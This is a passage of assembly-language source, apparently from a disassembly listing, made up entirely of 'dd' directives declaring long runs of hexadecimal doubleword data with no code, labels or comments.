		dd 325A479h, 0BEB7E0B1h, 40E53CB8h, 0F161DD96h,	0AA010F24h
		dd 69C45B3Ah, 0A1FC1CF9h, 0CF640031h, 7D1AFB6Bh, 2F00930Eh
		dd 0E649D6BFh, 0A909F76h, 231C434h, 8B5382A8h, 96A091B8h
		dd 4FA19B5Ch, 72E26202h, 0A0B0D96Ch, 806A3B93h,	0D6CFA093h
		dd 0EE5E03DDh, 8934C5A8h, 0DC1E3DC9h, 6449C397h, 0B9D728F6h
		dd 0EC4D6600h, 0E0453A7Ch, 734488B9h, 0B6E65C77h, 0C9159760h
		dd 603A096Ah, 0D4D61117h, 0FC02871h, 0A6EDC2D3h, 0F8D70E47h
		dd 0A914311Dh, 75A559C0h, 0BE09DA69h, 169C64h, 0E163503Ah
		dd 6F6D0D71h, 0F4BE8DD4h, 0AB005F70h, 81F153E0h, 6E249FBDh
		dd 0AF631DFDh, 71E951BBh, 0C5C68006h, 9D7A864Fh, 0A7D8E13Bh
		dd 0B5E70036h, 39165EBFh, 6300E051h, 0D8D9C3F3h, 0FFFEB5Bh
		dd 1C4E599h, 16BC980Ch,	7A269600h, 6106FAB1h, 0C5771C2Eh
		dd 4AF982EAh, 860B58Ah,	0BB005A6Bh, 0F87B0764h,	0B18E88h
		dd 4697C09Eh, 0D3CAE50Ch, 0F767C500h, 536332D8h, 6B733BA3h
		dd 8B579281h, 600A1B10h, 0D007D0Eh, 0C939BB68h,	75CE7F5h
		dd 1CAB8735h, 90370B8h,	8926EE43h, 0A1F70FDh, 0C3701AC0h
		dd 4DD040h, 0B1CA49C8h,	0EDAD151Fh, 7427DDBCh, 0D6803F74h
		dd 1D12E353h, 650030A0h, 1BFA6ACEh, 36A604h, 5043485Fh
		dd 3CF382F2h, 0AA4BBB00h, 0EE87F775h, 52C20341h, 774E10C3h
		dd 394069AAh, 0E4495819h, 53B481CFh, 5410A9F0h,	2A006C43h
		dd 0F774B555h, 7A638Fh,	0F9F9602h, 31391E20h, 0B17C0900h
		dd 10FEEC1Dh, 7E2FFC23h, 61F7DE7h, 7633EF8Eh, 0D3E2903Dh
		dd 73614C26h, 640C303Eh, 792BD8Eh, 0B6A30AABh, 60164D9Ah
		dd 1905B1ECh, 0A73F97A9h, 5F7DEB90h, 3BD77E4h, 6F401087h
		dd 0C179977Bh, 91A64E14h, 19466170h, 0F4FC2F08h, 7EBE7D42h
		dd 0B2580F48h, 1220F684h, 0C3DD794Ch, 0A00E5B90h, 3C0E68Fh
		dd 0D8370ED0h, 1F1089FEh, 9D7DB98Ah, 910180C6h,	4B3FD1A4h
		dd 192C7002h, 44DB1CADh, 0D40902C4h, 193C3A3h, 3C408029h
		dd 0D22A1Bh, 5A40D3C1h,	7C0F1C9Eh, 2C039003h, 0B8A4543Eh
		dd 0F56CB0h, 0C23C388h,	18F9332h, 8C3D4F90h, 0E3628327h
		dd 0C890F6BEh, 436C3Dh,	0CA2EF7A7h, 0F4F85B32h,	36C8E700h
		dd 771F678Fh, 701000ECh, 3C77E40h, 0C9076C25h, 0CF3FBDEAh
		dd 540F695h, 0AB4BDDD9h, 0E063007Bh, 0F09969E5h, 9704A778h
		dd 59B590C5h, 1D830D84h, 7119C0BAh, 794359C0h, 2636EE2Ch
		dd 0C1B64479h, 20472671h, 0E700F3C9h, 3BDDC641h, 30BB8A54h
		dd 55303096h, 923B6B44h, 0D1DC01FBh, 746ED6E0h,	998FFC74h
		dd 0E8169Ch, 0B7278659h, 0EF0051DEh, 2989967Fh,	7BFDCB9h
		dd 171D1CCh, 15A06B74h,	6F0676F6h, 42D3A2C1h, 0AFEBCD91h
		dd 9A790099h, 1DAB63D9h, 8003DB0Bh, 0D649D7FCh,	0C9056F30h
		dd 0DD4B8221h, 390A4080h, 0B00C2425h, 0EE524090h, 97E4517Eh
		dd 0BC2C8800h, 9A0A697Ah, 0D0E60003h, 7B79B7DFh, 0C9C010F7h
		dd 522393F3h, 0EC5C00DDh, 2B9B1A09h, 0E591D54Ah, 482D9D07h
		dd 0E4655872h, 0D0CC4C67h, 0FB5A6A33h, 15BE7F07h, 0C95D7A49h
		dd 0C0E755C4h, 8E9A5F1Ch, 70284509h, 0DA05E9E0h, 0B4ADE959h
		dd 690DF87h, 0B8BAAh, 387B82E4h, 0E84D49B9h, 558E4100h
		dd 0AC617668h, 0F4F77EEh, 137E6C04h, 456DAD02h,	169FA340h
		dd 32CD8E2Ch, 0D4E11C09h, 7F01376h, 702582CFh, 0AC290E7Eh
		dd 13F73F07h, 0F1B19516h, 484B787h, 81CEB40Ch, 60E8B9B2h
		dd 0EA005A60h, 5C37D3ACh, 25EB2D0h, 0ABB3E393h,	0D2EA3018h
		dd 85527280h, 0B71758F4h, 0CB18DE02h, 0E4828B22h, 273000BEh
		dd 24C42125h, 923D81E1h, 0E6CC812Eh, 2DCE212h, 0F62069C8h
		dd 58CBF8ABh, 0ED00F9FAh, 90B8B1D4h, 0F10077BFh, 82411D4Dh
		dd 3BDEDF03h, 85CC52A2h, 0AE47B700h, 0B920281h,	9F02E873h
		dd 0F9797B03h, 16347620h, 224000E3h, 593CAC0Dh,	0FECA59h
		dd 6233A305h, 0FD6DCDh,	95088318h, 63D0A515h, 896CDC00h
		dd 0CBAA1A9Ah, 67D70754h, 8E19458Eh, 12F0A8BFh,	32B78506h
		dd 0EAA0D854h, 5C8B3AD0h, 3B9992BAh, 61097900h,	56D6DBh
		dd 0CE3EBCF5h, 0B4EF7C8h, 0F20B95BAh, 80670E21h, 0D9CACC65h
		dd 0E23F45Ah, 0B7538A8Fh, 1340DDC1h, 54797009h,	0AD4B42B8h
		dd 0D8568F00h, 968D68h,	5DD2A313h, 8EA570E0h, 6FACDE94h
		dd 10830880h, 5B342B2h,	0EA8BFB7Ch, 3A46235h, 6D12AE68h
		dd 18D996C2h, 4773AE24h, 6CB249AEh, 1441CB25h, 7C40BCC6h
		dd 0B63C11B5h, 609C033Ch, 671839DEh, 0F8C9F722h, 0A2211200h
		dd 0E42B2C32h, 0D443005Ch, 5ECE2FFBh, 487F6758h, 16E3D300h
		dd 0E4EBFEEh, 0EF710356h, 61834CC8h, 8AA5B2C0h,	0FD7FB400h
		dd 0A4260195h, 7BF702E2h, 0BEA0B654h, 0A28FB3C8h, 86B02000h
		dd 0D9C4A689h, 884E60C6h, 31427445h, 4469D105h,	0D856E63h
		dd 0A039FB93h, 7D65B4Fh, 5A75E546h, 30666059h, 9FF4705Fh
		dd 652B025h, 3219FEh, 0ECF2DDEEh, 0C2F464C7h, 4B00D57Eh
		dd 9C1F3971h, 48BCD7B3h, 57896CEEh, 15262920h, 0B30E1021h
		dd 40895343h, 276FDF5Eh, 0AAEF3156h, 0D8405127h, 22000FDBh
		dd 41B1129Eh, 1577855h,	85F576B3h, 65C043F0h, 0C435A6C4h
		dd 35183426h, 907A5Dh, 1A0E1BA6h, 189B2C93h, 56CDA800h
		dd 6B3165D5h, 2DF0006Ah, 0D709CCD9h, 0FD98F633h, 3E771200h
		dd 53BB388Fh, 16DF00F7h, 446B24D2h, 4098ADB1h, 7D362603h
		dd 0C8DADCFFh, 8B4BCBh,	9495755Ah, 1170A616h, 0E950D80Bh
		dd 0E50D00F6h, 63D1282h, 41883B21h, 2C02B2C0h, 3A246F1Bh
		dd 0D9E40F9h, 0D95A2630h, 2583499Ch, 8E06E7CEh,	87CA7963h
		dd 39662E3Bh, 5D728065h, 8EFE7CADh, 63E73Ch, 3ECC42EDh
		dd 2823C79Ah, 48B985E6h, 7F18403Bh, 2DFE40D5h, 755E3D00h
		dd 89CEED7Eh, 2C9700C5h, 0AE0C7CE5h, 0D307B788h, 55D6F1DCh
		dd 0A88BBBh, 1B1806F7h,	0F0260496h, 89BE6B1Fh, 0AA2D30E4h
		dd 0CF37B900h, 0F2D5A436h, 2A09670Fh, 0F0398715h, 77507FE6h
		dd 0F184F401h, 6551C142h, 0BBDE90E3h, 0C07ADEE2h, 0A8086671h
		dd 0B813B0A9h, 85007713h, 7BDA5855h, 9DC524EAh,	3492870h
		dd 3F7F17AEh, 0D474A811h, 51784B00h, 1CD4193Ch,	145F000Bh
		dd 9CA2D2A6h, 453BD029h, 4A5B8001h, 64D4574Ch, 777D015Ah
		dd 3DAD1280h, 0C9C07FF9h, 162D8FD3h, 4F892BDh, 0C0B525FDh
		dd 0DC27941Fh, 4ED5A100h, 0C3C2935Fh, 4D6A12B0h, 75C400F3h
		dd 40EF86F6h, 0DBA253F8h, 0FEB967C0h, 0DB351A00h, 134296ABh
		dd 1414B059h, 0A2BC6D1Dh, 0AFE75780h, 19B23DC2h, 80349469h
		dd 0E2E1D519h, 578C0433h, 0C0476C6Eh, 50C03D76h, 0D0FFBA09h
		dd 715E00F7h, 1CD141C2h, 31115DE5h, 24565B02h, 860067E5h
		dd 373C2564h, 0F298B7h,	244B2F4Ah, 475C5ACAh, 3101759Ch
		dd 3E3363D3h, 0C054D264h, 4FBF4341h, 8A05A47h, 647A52C2h
		dd 3C7AEA09h, 0FA0B5778h, 9F8B34D5h, 51BD8294h,	0A07852A4h
		dd 37FB6805h, 6CAC6642h, 6E2C1A0h, 0BDAF737h, 0C960F2E0h
		dd 0A07EF397h, 1ABD5434h, 7C174E3h, 0D4C708A6h,	0E623EA31h
		dd 7181D141h, 770F8BF6h, 2C8BD930h, 0E13E7595h,	0DB00E97Dh
		dd 6010FFFDh, 0FEB8CE49h
		dd 6170FA2h, 0E081C503h, 0E0B088B5h, 0EA0F340Ch, 40F82510h
		dd 986CE433h, 0C4A10F42h, 48E34E77h, 0F4C04BC0h, 0A4006D93h
		dd 4A0A46D8h, 7423FEFh,	76DE4592h, 1213F03Ch, 0D6006805h
		dd 79F0D810h, 23E20Fh, 0EC73429Ah, 0AA185B56h, 0C60B62F0h
		dd 683347h, 7934D7F9h, 960EA5Ah, 0EF90B0Fh, 848DE01h, 0E530D3E8h
		dd 516B2ED4h, 0CDCC13F2h, 8391AEE5h, 0B5F0044Ch, 73C2769Fh
		dd 69D80073h, 0F5C9469Ah, 1603B46Fh, 0AEC08158h, 0E8321870h
		dd 5E643D0Bh, 0C6ACDA00h, 5D3937AAh, 0B47A65h, 0DFA1A5B9h
		dd 0B3E9814Dh, 8B0C8560h, 7117BF10h, 20E7D57h, 19D28DC2h
		dd 7944E828h, 9F59AD00h, 0BD349D06h, 1FF7D97h, 864EE295h
		dd 501881CCh, 0B8943D5Dh, 2489AF00h, 88DE0443h,	838B0114h
		dd 34FCE1F5h, 0C2017B12h, 6319252h, 0C0711E50h,	34AE0E87h
		dd 58E085B4h, 0ECF368FFh, 0A9603006h, 2A2ED2Bh,	7D2CC12Eh
		dd 1944850Fh, 4BBF6603h, 0E310899Bh, 0F7A8848Ah, 172C49CCh
		dd 18C38088h, 1125E91Dh, 43EED1AEh, 0EC17BB0Fh,	3D9C8774h
		dd 2F415410h, 0B75B7F53h, 5C00EFF2h, 0B6EF30C1h, 169BA281h
		dd 3B28D8h, 803F9054h, 6001EB8Ch, 1E6E5E97h, 67C12D34h
		dd 7C6F0DE0h, 0EAFE3366h, 60A1FF8Eh, 9F6AD001h,	700DC70Ch
		dd 0E8CA2169h, 96D43044h, 31D5E011h, 9FE5FA10h,	930F3867h
		dd 1101BB4Ah, 701F3D17h, 8184071Ch, 0C6A71B68h,	7E0211C3h
		dd 83A69629h, 54FE00F3h, 0E721DDA1h, 486119EDh,	2111020Bh
		dd 0D262697Eh, 5BE35090h, 76D40711h, 941CED0Fh,	8E9D75A0h
		dd 0E70DF13Bh, 0E0851F87h, 506CDA30h, 6F88405h,	5CE6B1C1h
		dd 0E40F1008h, 0A19AFE66h, 0BB956CA6h, 0F2467960h, 0EAA006FDh
		dd 60F1139Eh, 763E26F6h, 78BB3E9Dh, 70C6D47Ch, 28C1FFE6h
		dd 8A2DDBh, 0ECB2875Ch,	12C5D50Ah, 0E919AC1Ch, 80069649h
		dd 0F0EE74D1h, 0F580C721h, 0C9998E0Dh, 0C3730E9h, 0B17F68C3h
		dd 0D4008579h, 7887E8C0h, 909F60CEh, 20B422BBh,	400ACF2h
		dd 0FE69944Ch, 1C90931Fh, 0C0EC515Eh, 0C9E5E280h, 0C73B3C1Eh
		dd 80853C52h, 50DCB386h, 337889DBh, 0E150A3BEh,	406B54E1h
		dd 0FE76568Ah, 0A00E9C30h, 0C2787F0h, 0EF89A677h, 1A0950E9h
		dd 6E1F62h, 5B6CF778h, 4964803h, 0E9A2F040h, 3A61FEDCh
		dd 78004F8Fh, 0E442BD58h, 70266F3Ch, 732409D5h,	41B7ED07h
		dd 43C13380h, 76E83C78h, 5750D307h, 0BE5980ACh,	353EE76Eh
		dd 0E1BA93h, 46E09F4Eh,	0C74771h, 0CFFE6256h, 0E1A8BC4Ah
		dd 4C734800h, 416446E3h, 0B73805EAh, 28A1DE4Dh,	9BB0B438h
		dd 4AE97278h, 8B19C18h,	71E1D970h, 98E678F0h, 54E401BBh
		dd 37C8FCB9h, 53C1F0BDh, 0EAAE4E00h, 0C5AB7134h, 7A1F055h
		dd 0A7C249F0h, 7686ABEh, 0E3C4515Dh, 39414E62h,	4BEE298h
		dd 0A606C518h, 260110h,	0AB8F040Fh, 862D639Bh, 0C800E4F2h
		dd 1585D32Eh, 30AE541Ch, 0F830A2E0h, 2B63A4A3h,	0B9914819h
		dd 8402004h, 4E4F79h, 0B35AF569h, 4D517695h, 772C3450h
		dd 0DF949B05h, 0C60AB85h, 858F03D8h, 3096288Ch,	0F5680D11h
		dd 9058B461h, 0FD813BA0h, 86013525h, 79465E40h,	407E66E8h
		dd 0B83459DCh, 780228E0h, 8474485Eh, 0F73B2058h, 97E27768h
		dd 0E7F11DB4h, 62B3B04Eh, 91360EE0h, 1DA1761Eh,	0CC417B12h
		dd 867C9DFBh, 21D12880h, 1F512ABCh, 0C7DF328h, 0F4EB4E09h
		dd 30E427AFh, 16A08B90h, 335F0754h, 41E19751h, 828C0B28h
		dd 2587FE19h, 99FC4819h, 99D001Bh, 67F3E423h, 730A6563h
		dd 0C3BD268h, 914780Fh,	6714A2E9h, 2858800Dh, 53015511h
		dd 0CCA264A8h, 97413320h, 8C395563h, 120BBC02h,	9CF0B80Eh
		dd 0CE80E7BFh, 0A16E0542h, 69524FF0h, 0A051F84Ch, 98A1E2E0h
		dd 4830425Ch, 0C3C2248h, 51E605FBh, 0F4290BC1h,	1A918C80h
		dd 6FA0E446h, 2A3AD81Fh, 98696CD3h, 90C8847Dh, 9049459Fh
		dd 144D2164h, 0E2193D61h, 884C9BA5h, 48E0C4C8h,	16648278h
		dd 557B7710h, 408A940Ch, 84E0A8B5h, 8CE5447Dh, 148AAC0Ch
		dd 996A6880h, 261AC20Ch, 11428C81h, 0A804625Dh,	882E5374h
		dd 0B8E0AE31h, 0AFF441FCh, 0BAFB1303h, 24488E7Eh, 609073A3h
		dd 9117B62Dh, 427C9128h, 99418D80h, 50910C18h, 13D98C19h
		dd 3E656F68h, 0B489C40Ch, 3B12D17Ch, 0A832A965h, 518028E8h
		dd 0C99A327h, 8C90970Ah, 9C6A5D12h, 8F52888h, 0B14CD46Ch
		dd 0E4A0934Eh, 97B2C50h, 87621E61h, 8D3F1424h, 1A746260h
		dd 0BE61AC37h, 1892350h, 8438E7E2h, 234AEDE4h, 0F1816DA8h
		dd 14B432CAh, 95D86415h, 58937C30h, 4C523065h, 0B9882C6Ah
		dd 15BC2D7h, 0CECC837h,	0CA10AA35h, 77554900h, 344E8E54h
		dd 181C6A01h, 0EBCC0878h, 3D44DC28h, 6013E636h,	466018E8h
		dd 7C31A155h, 9598706Eh, 0ADED22F2h, 0D7089C08h, 3CD33D03h
		dd 37908304h, 0E814797Ah, 11A43C70h, 871447C6h,	58C89627h
		dd 7523D9E2h, 809C261h,	6A035B00h, 5D9E015Ah, 0E6B3A561h
		dd 0F3CCE04Eh, 0C11F4FF8h, 0B40A645Ch, 0BE3C14A1h, 93E81752h
		dd 82602400h, 91F17D39h, 8171624Ch, 730C4C60h, 301AE488h
		dd 7384F5Eh, 0F4A274EEh, 21250460h, 20AB9140h, 0FB09221Ah
		dd 2666043h, 20528E10h,	58C895C2h, 84200653h, 3B601F6Bh
		dd 0DA31B9DEh, 38757877h, 30DA4E4h, 65E85EC4h, 189BF524h
		dd 0CF004078h, 879F862Ah, 92A56046h, 0BD71ACh, 98512C6Ah
		dd 32E4FB29h, 0B806E274h, 0AA60FC9Ah, 0C2F30029h, 7749C50Dh
		dd 6CE0D8D0h, 5B46500h,	2E815652h, 457F4A43h, 211AF54Ch
		dd 58ECBE8h, 1AB0C00Eh,	60006018h, 887349C6h, 115F9801h
		dd 99550157h, 9189F980h, 80BA219Fh, 9D8F8A11h, 850F5506h
		dd 31C7DFA4h, 0C007FD01h, 0C029AC45h, 700792F4h, 940AEE15h
		dd 4AB81330h, 0FAED189Eh, 1DC9D118h, 500989Ah, 623485AEh
		dd 0BFCBA7h, 6F5A779Ah,	63D62A0Dh, 0D7A21302h, 72651D51h
		dd 0A080E64h, 12521FA3h, 14700300h, 2100DFD1h, 9CC5E0F1h
		dd 0D412B9Eh, 1161505Eh, 30D8E079h, 8E663300h, 0B95F8465h
		dd 3F8C008Bh, 143BBE45h, 7E60C57Fh, 130E8269h, 787500F8h
		dd 70182FD1h, 2E004F83h, 0D9566817h, 825222h, 0A10B370Ch
		dd 13997AD6h, 0B0A8E23Ch, 0E6D791ECh, 0B36E0323h, 0CAF5DC67h
		dd 643088E8h, 83FFC4A0h, 0E0F630C4h, 0E0CD4E3h,	811176C5h
		dd 18B5507h, 3405396Dh,	0A0998800h, 0E74A594h, 4E2D7067h
		dd 922A6981h, 0DF64E882h, 5B07760Ah, 57049066h,	9E40E1F6h
		dd 656968D2h, 2420C448h, 9398247Dh, 0CAA021h, 0F63FD068h
		dd 741B9C8Dh, 0A96430E9h, 82DF2E10h, 0B6E8B851h, 8C650068h
		dd 0A2640C05h, 0FB00797Bh, 0F5167A48h, 758E1C4Fh, 51AC35EBh
		dd 50A480D8h, 0E9C0A860h, 0D21F6801h, 0B862662Ah, 1660C122h
		dd 1F60E721h, 302E4C18h, 2F57D10h, 0D79B30D0h, 0AE004076h
		dd 597E826h, 1D4194E0h,	739C2066h, 9863D07Eh, 90F6B0h
		dd 131C20E1h, 2C22F41Fh, 8B3C067Fh, 9C3E0099h, 54811B76h
		dd 67831282h, 0E0D414F5h, 446F5F00h, 0FCB9BBFBh, 54288710h
		dd 6B97A103h, 98130CFDh, 6C035FE0h, 888222E8h, 0A575B52h
		dd 5150704Eh, 805811C4h, 656A68CBh, 95448CCCh, 68C3009Fh
		dd 0CF429487h, 2FEC5D69h, 37792465h, 8736800h, 64AE39h
		dd 0CC5E16A6h, 0C65366B6h, 4652C909h, 0CE3400DCh, 0B4F0ACAh
		dd 0FA2DAF51h
		dd 53C98C22h, 619C10D1h, 8CC8EC0Fh, 50671921h, 17B797FBh
		dd 1443F0h, 0D40DCBBAh,	2833F65Eh, 5452A5FAh, 91444831h
		dd 1D6E1750h, 7F012224h, 20D36AFh, 4BE0676Fh, 1D11399h
		dd 0C83804E5h, 0CAD88057h, 8D011D44h, 0D76664D6h, 108C59D2h
		dd 0C349B060h, 3A5B900h, 0F36AFFD9h, 77B328D2h,	6C4E4490h
		dd 59D05817h, 0C9CF1805h, 5B2E5000h, 0EF974433h, 2BA9EC07h
		dd 539521C0h, 0FF8A33h,	0E1096EA7h, 0CCA24CACh,	2D6F6902h
		dd 437FA80Bh, 0AE0DC03Ch, 33CB8FAh, 887ED722h, 0C8D68BB7h
		dd 2054603Dh, 21872843h, 7B1C904Ch, 67320E01h, 0C4943A05h
		dd 0BC04A848h, 0D1C52687h, 20299964h, 9777A374h, 0E4FB6E80h
		dd 81C52A5Fh, 694400D8h, 0FCF088E4h, 0A5023479h, 213B9891h
		dd 78F46411h, 6B12499h,	0A77C8050h, 64574AF9h, 78CAAE26h
		dd 5F019420h, 5747D6Ch,	0ED045D7h, 3044006Eh, 0E93DA1DCh
		dd 831F4F54h, 650541D9h, 9C90E205h, 6063D330h, 0F95DA08Fh
		dd 6C029FD7h, 486F245Ch, 0ADF84173h, 1F086718h,	0C45A2AD1h
		dd 5FE2401Ah, 0AD4B81Fh, 0FAEED281h, 206016E0h,	0A019A51Ch
		dd 0AD7C2A00h, 66F9C1BEh, 829F00CAh, 81EAAEA4h,	0C4986CD1h
		dd 48E5B73Bh, 0F9440078h, 0E037A6DEh, 0BFD313DBh, 0A2DC411Dh
		dd 42902C40h, 88CC5E94h, 780B594Fh, 908831E5h, 1151B810h
		dd 33EDD600h, 9E01C93Ah, 0B4FD5918h, 40901B13h,	6FCEF998h
		dd 53649466h, 0B9417B60h, 0CCBD4F4Ah, 0B00077A9h, 33AFC82Eh
		dd 269759FFh, 0DE949498h, 0F6E3A909h, 68E8208Fh, 4F7AD9h
		dd 35C10E21h, 40AE3D62h, 0FAE42D05h, 8680933Ah,	249600Fh
		dd 0CFC580FCh, 74606842h, 2D1D4ED3h, 8A5814B8h,	28258751h
		dd 0C2FC3052h, 0F46533A8h, 45612C40h, 88F04F4Ch, 1F6DC053h
		dd 0CA212AD7h, 159180h,	241F65ECh, 636E630h, 5C3D2F2Eh
		dd 514648BBh, 0CD0ABF58h, 4424BA2Ah, 63E6401Dh,	0B2F31Fh
		dd 0B098D246h, 2ABB01CCh, 86EFD312h, 26565000h,	253B9AD8h
		dd 9038AF3Dh, 25186591h, 49E01FDEh, 9637136Dh, 0D3FC499Fh
		dd 3FD1E807h, 5A47D00h,	0C800F046h, 7758045Fh, 0D492D47Bh
		dd 0C6265848h, 335CC038h, 70469743h, 54F42922h,	6D913300h
		dd 63DCE8Ch, 2AA909A6h,	0FC209FABh, 89F8F569h, 0A30698DFh
		dd 7C187C67h, 992BFCE5h, 0A15C0E20h, 0F8AB20ABh, 1691980Fh
		dd 58189E7Bh, 793B6F18h, 53061358h, 0FAC00703h,	120C40C8h
		dd 0B94C9840h, 8C27BC98h, 5C06E703h, 0E7488A5Eh, 380B3020h
		dd 8B949998h, 380493C0h, 0CD6F4056h, 318DA31Eh,	8030023Eh
		dd 0BA5C0379h, 2AECA0A2h, 0C493B39Bh, 8E53FB18h, 0C116880Ch
		dd 6D387FEDh, 840C006Ch, 32B03DE2h, 0D5FA00A2h,	6758C8CDh
		dd 2641922Dh, 0A0388C40h, 0ABC30F5Ah, 0C03275FBh, 0D83C9940h
		dd 0E9F42100h, 5C07BAF9h, 6FA227DDh, 0E7C33830h, 0FC7DF30Ch
		dd 7D4E38E1h, 61510172h, 1E793867h, 632074E2h, 9A71920h
		dd 7549DFDh, 0CBD240C0h, 3BD15909h, 78E8601Dh, 0AE251435h
		dd 0B5F120C3h, 48421905h, 335830CAh, 50975F16h,	0F8908038h
		dd 0D5770933h, 5D0067B4h, 798A49CBh, 7E2058B0h,	2C575818h
		dd 0F57510h, 0E34321D1h, 283860FBh, 0B47AEBh, 0BC42B3AFh
		dd 2E35E74Ah, 3EA733Bh,	349843C2h, 33D9A0C0h, 0E68A00C1h
		dd 7DE87239h, 471F6FEEh, 303101D5h, 0E0F42E46h,	9CC20042h
		dd 71B749E4h, 48E84B98h, 331128D8h, 3707CBDh, 0DE457347h
		dd 0E3E02E4Ch, 9E1E7246h, 5D1F3ADAh, 44C23401h,	4EE037D5h
		dd 3B75F0EAh, 7C2ED970h, 0D7044884h, 0C75A09DCh, 0B4007337h
		dd 0F0747C38h, 0C5184452h, 0E13ECAh, 0BFC0343Ch, 5459D449h
		dd 40F5C840h, 2510FD1Ah, 4D05B786h, 0D3A5E02Dh,	0A7C92E38h
		dd 0E410619Bh, 5F02D277h, 3BE2569h, 4CE46096h, 733806AFh
		dd 8171611Eh, 9AA39B00h, 4930D02Dh, 0B57009E2h,	0D8E622B3h
		dd 0DE01FAE4h, 25FE0B93h, 18822426h, 0ABB4D32Eh, 0E04848C9h
		dd 81DDA803h, 0CE4978C3h, 0B8D80DFCh, 0E108E2DEh, 38798CE0h
		dd 5BFBC05Bh, 0CF2831D8h, 0BCCDC49h, 9E7C8B56h,	98E87D0Fh
		dd 2D6B9B10h, 0FC807B93h, 484665A1h, 0C968FC62h, 60F50358h
		dd 0B8BF822h, 2F5475FDh, 8859C868h, 9C9C0082h, 0CA377D6Bh
		dd 42D43078h, 8C94F0A4h, 3BC20308h, 8105F30Eh, 0B5DF7A33h
		dd 8CF6880Ah, 0F3564E82h, 8050E060h, 0D0514ACAh, 54612150h
		dd 6EA2C507h, 963F6853h, 8FA5F422h, 1C041248h, 28984F79h
		dd 5E6491E1h, 13597160h, 0F87E382Dh, 3DE83902h,	0BCE00681h
		dd 0D452306Eh, 9C7DC14Ah, 45BD3703h, 0C2BB42EAh, 5878CCD3h
		dd 0C00B5040h, 540FDE73h, 5DE59881h, 0BD4ED04Fh, 1BF320C0h
		dd 0A60582E9h, 255E0144h, 0C41A4B99h, 4B0C271h,	5D7065C6h
		dd 400C1953h, 0B71F5708h, 8C22E041h, 93ED2974h,	10A71F08h
		dd 0CE0FDFE2h, 0A0158AE1h, 61504074h, 0D09109CAh, 657323E4h
		dd 78A22122h, 1930ADDDh, 0D2F9210Dh, 9BE7441Ch,	91D781CEh
		dd 109F0891h, 6170401Eh, 9B118640h, 74147C9Ch, 850C3661h
		dd 8C642EE6h, 91ED5001h, 28AFB4ABh, 184A9CABh, 0E0867CD0h
		dd 0E499309Eh, 0E612E309h, 0E848E524h, 0EA22E791h, 89ECE944h
		dd 24EE12EBh, 919048EDh, 1923E8Fh, 0CAAE66A9h, 0D0C86254h
		dd 0A2C1C6E5h, 0A852B851h, 4E3CA84h, 4ABA655Dh,	0BC1908h
		dd 0FE550CD8h, 4F3EA21Dh, 1EAC3EAEh, 0A900796Dh, 54A19F85h
		dd 0CE707FDh, 87EDDFC7h, 0C7F547CFh, 32BE8F97h,	1102E540h
		dd 4D049Fh, 0A17F85A6h,	25DF78B9h, 48353532h, 0FF04A1FFh
		dd 0AC5264D5h, 5E59C088h, 2255C750h, 0F8F85664h, 0AC38A052h
		dd 7073083Bh, 0F28151C8h, 0F7CA71C4h, 41F80991h, 0FA040B18h
		dd 0F628E0AEh, 0B8F30099h, 0A47F6F18h, 10A06133h, 4F526570h
		dd 381AC38h, 0EF8333Eh,	1A93F322h, 80A5E5E1h, 0D11F5B18h
		dd 1FA27C7Ah, 28FD90C3h, 0F2997C1Ch, 2355052Ah,	225201B6h
		dd 38F5AD28h, 33A26DE4h, 0C941E7B4h, 980031EEh,	2BCA481Bh
		dd 30DF565h, 4476917Dh,	0BB86397h, 0F908E423h, 83474B6Bh
		dd 1B4A2BF0h, 11228BE8h, 0FA7DB201h, 0F977F3F2h, 815CCC7Fh
		dd 8E1C9610h, 43676C00h, 1AC94422h, 8028D93Ah, 5FDD1B31h
		dd 0E274566h, 0CF4BDEEFh, 0D064D420h, 3A010CCAh, 9601FD25h
		dd 488C9444h, 1C10B597h, 7CF8F40h, 35A9D6CDh, 16304071h
		dd 47033F60h, 0CAE58356h, 0B0E9001Ch, 0CD2EC9C8h, 63003702h
		dd 99155F5h, 187A9F0h, 77FDAC26h, 0D7656FA1h, 428440FDh
		dd 3BA3061Bh, 0CA8F2207h, 0C4A099A2h, 7C5DC512h, 5E910FDAh
		dd 5601041Fh, 0DC9D18CFh, 0D10111DDh, 0D412C955h, 144A1E50h
		dd 6079593Ch, 9AA830CEh, 0D1F8154Eh, 0CF4320h, 0A9ACC453h
		dd 97171D42h, 0EC069577h, 0A71A5AC5h, 1EC81E90h, 4018B7D5h
		dd 9B141D57h, 0A7195106h, 0CE8058C3h, 0A68EC528h, 40A82027h
		dd 0D5A2185Ch, 333078D4h, 0CB523156h, 0A2590AA8h, 620C4FCFh
		dd 84A0AC20h, 429703C9h, 0D4AB2105h, 8800184Eh,	0D0AC1B52h
		dd 2029C01Fh, 0CF306A29h, 0C31743Ch, 493D28AFh,	18F80764h
		dd 0AC7842A8h, 26006231h, 0A6B17C72h, 3199AE4h,	9FBC3A0Bh
		dd 0F4B857A8h, 2100F1CCh, 87412612h, 0FB20722h,	317FEB6Bh
		dd 86ACCD80h, 230327FEh, 2FAF84FCh, 0E4711F55h,	4C5E8212h
		dd 210024F7h, 0C3AEDBDh, 3891A431h, 0BB3AE528h,	0B77D0462h
		dd 1B062334h, 0A050A17Fh
		dd 2C88A918h, 68826FFCh, 0B71B8670h, 9B771931h,	8FB61998h
		dd 1178B259h, 1EA9DD10h, 402AAAD5h, 0C7298040h,	4DDEA229h
		dd 0D5C008B8h, 30356832h, 9EA89044h, 1BBCA83Eh,	3959C011h
		dd 8851BA56h, 5883A60Ch, 1C25203Eh, 942C8969h, 8523D022h
		dd 0D0C44010h, 0FE63607Bh, 0D20B3161h, 86291A30h, 567723B9h
		dd 0E0B80269h, 78339D85h, 0B97EA4A6h, 67A1390Ah, 0A318DC38h
		dd 33BA69F1h, 0D8318CE8h, 182A36FBh, 0A5284CA9h, 84805868h
		dd 0F788BAB6h, 91CA2426h, 0C0393718h, 910B078h,	368A9926h
		dd 1824DD0Ch, 4CDF5038h, 3B58A9A3h, 481E843h, 10B26591h
		dd 3C288723h, 3814E5B9h, 84A4DF56h, 242B3CA4h, 7FDB7442h
		dd 0C47A42B8h, 0F9449A71h, 82212B23h, 0C1905488h, 426F10AFh
		dd 0C2155128h, 2927993Ch, 0DC217E38h, 2336448Eh, 3B3FE481h
		dd 5088C21Ch, 106AD944h, 0A2A2846Ch, 0B144F0A2h, 7408289Fh
		dd 89551B3h, 0DE0FE709h, 0AAA28AD0h, 841AE111h,	1B61AFF8h
		dd 485C323Eh, 51288F6Ch, 0B2868C48h, 0E51B3150h, 0C0516B3Fh
		dd 6DD541C0h, 41401197h, 12322F84h, 0A3348F6Eh,	2241D486h
